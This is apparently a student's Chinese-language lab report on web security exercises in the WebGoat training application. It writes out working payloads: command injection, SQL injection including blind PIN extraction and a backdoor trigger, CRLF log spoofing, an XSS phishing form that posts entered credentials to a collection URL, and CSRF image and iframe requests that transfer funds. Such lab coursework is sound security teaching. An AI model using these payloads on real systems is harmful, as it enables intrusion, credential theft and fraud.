20174303刘金晖 Exp9 Web安全基础

一、实践原理

二、实践过程

(一)WebGoat安装

  • 下载Java -jar webgoat-container-7.0.1-war-exec.jar文件
  • 输入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat

  

  • 安装jdk1.8(不安装没有左边的课程栏,参考这篇文章进行安装配置)
  • 浏览器输入localhost:8080/WebGoat,输入用户名密码登录

  

 (二)SQL注入攻击

1. 命令注入(Command Injection)

  • 原理:修改提交的参数,使服务器执行恶意命令
  • 目标:能够在目标主机上执行任何系统命令
  • 在左侧菜单栏中选择 Injection Flaws->Command Injection
  • 右键点击复选框选择Inspect Element审查网页元素对源代码进行更改,找到名字为 HelpFile 的 select 元素,在第一项内容的后面添加 "& netstat -an & ipconfig" ,修改后再次点击下拉框旁的 View 

  

  • 即可看到端口开放情况

  

 2. 数字型SQL注入(Numeric SQL Injection)

  • 原理:利用SQL语句的特点,注入数字型数据,使系统执行恶意代码
  • 目标:对SQL语句注入特征字符,组合形成新的SQL语句,以此来查询所有城市的天气情况。
  • 左侧课程栏选中 Injection Flaws -> Numeric SQL Injection 
  • 对源代码 option 进行修改,将选中的城市编号value="101"改为value="101 or 1=1"

  

  • 点击Go!即可显示所有城市的天气。

  

 3. 日志欺骗(Log Spoofing)

  • 原理:在系统日志中抹除黑客访问的记录,混淆安全软件视听。
  • 目标:使得日志中仅有用户名为20174303的用户成功登录。
  • 左侧课程栏选中 Injection Flaws -> Log Spoofing 
  • 在User Name文本框中填写 guest%0d%0aLogin Succeeded for username: 20174303 ,其中%0d是回车,%oa是换行符,可以让注入信息转行显示。
  • 点击登录后,可以看到我们注入的语句在第二行显示出来了。

  

 4. 字符串型注入(String SQL Injection)

  • 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
  • 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
  • 在左侧菜单栏中选择Injection Flaws->String SQL Injection
  • '提前闭合"",插入永真式1=1--注释掉后面的内容,可以输入查询的用户名Smith' or 1=1--选择表里面的所有数据

  

 5. LAB: SQL Injection

  • 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
  • 目标:通过注入字符串绕过认证
  • 左侧课程栏选中Injection Flaws -> LAB: SQL Injection
  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20

  

  • 重新输入' or 1=1 --,登录成功!

  

6. 数据库后门(Database Backdoors)

  • 原理:利用数据库中的触发器,使用INSERT语句来使系统执行恶意代码
  • 目标:通过注入字符串绕过认证
  • 输入用户ID101得到该用户信息

  

  •  输入注入语句 101; update employee set salary=10000 执行两个语句

   

  •  输入用户id101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]' WHERE userid = NEW.userid

  

 7. 数字型盲注入(Blind Numeric SQL Injection)

  • 输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效

  

  •  输入查询语句 101 AND 1=2 ,因为第二个条件不成立,所以而页面返回帐号无效

  

  • 构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 ); ,如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000

  

  • 后续使用二分法缩小判断范围,可以最终判断出PIN数值大小,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

  

  • 得到正确PIN值2364,输入验证,有效。

  

 8. 字符串型盲注入(Blind String SQL Injection)

  • 输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小

  

  • 经过多次测试比较0-9、A-Z、a-z等字符串和页面的返回数据,判断出第一个字符为J,同理继续判断第二个字符,输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );

  

  • 最终的都正确PIN字段Jill输入验证

  

(三)XSS攻击

 1. Phishing with XSS

  • 目标:创建一个form要求填写用户名和密码,收集信息
  • 编写一个含有文本框、提交按钮的表单的代码
    </form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; 
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script>
    <form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br>
    <input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
  • 左侧课程栏选中Cross-Site Scripting (XSS) -> Phishing with XSS
  • 在文本框中搜索该代码,可以看到新的表单,输入用户名密码登录

  

 2. Stored XSS Attacks

  • 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
  • 在留言板输入<script>alert("20174303 attack succeed ,congratulations!!!");</script>后点击Submit攻击成功

  

 3. Reflected XSS Attacks

  • 目标:使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件发送,或者通过其他方式让受害者点击它。
  • 序列码输入<script>alert(" 20174303 is coming!");</script>后点击Submit,显示内容为script脚本指定的警告框

  

 (四)CSRF攻击

1.Cross Site Request Forgery

  • 目标:向新闻组发送电子邮件。电子邮件包含一个图片,其URL指向一个恶意请求。
  • 点击 XSS -> Cross Site Request Forgery(CSRF) 
  • 查看确定Parameters中的scrmenu

  

  •  message中输入
    <img src="http://localhost:8080/WebGoat/attack?Screen= 325&menu=900&transferFunds=4303" width="1" height="1" />

    其中Screen和menu的值由右侧表格看出,语句transferFunds=4303意为把受害者的钱转走。

  • title输入4303,点击submit后出现一个链接

  

  •  点击链接,攻击成功!

  

 2.CSRF Prompt By-Pass

  • message中输入<iframe src="attack?Screen=318&menu=900&transferFunds=4303"> </iframe> <iframe src="attack?Screen=318&menu=900&transferFunds=CONFIRM"> </iframe>
  • 生成链接后点击,攻击成功!

  

  

猜你喜欢

转载自www.cnblogs.com/4303ljh/p/12975204.html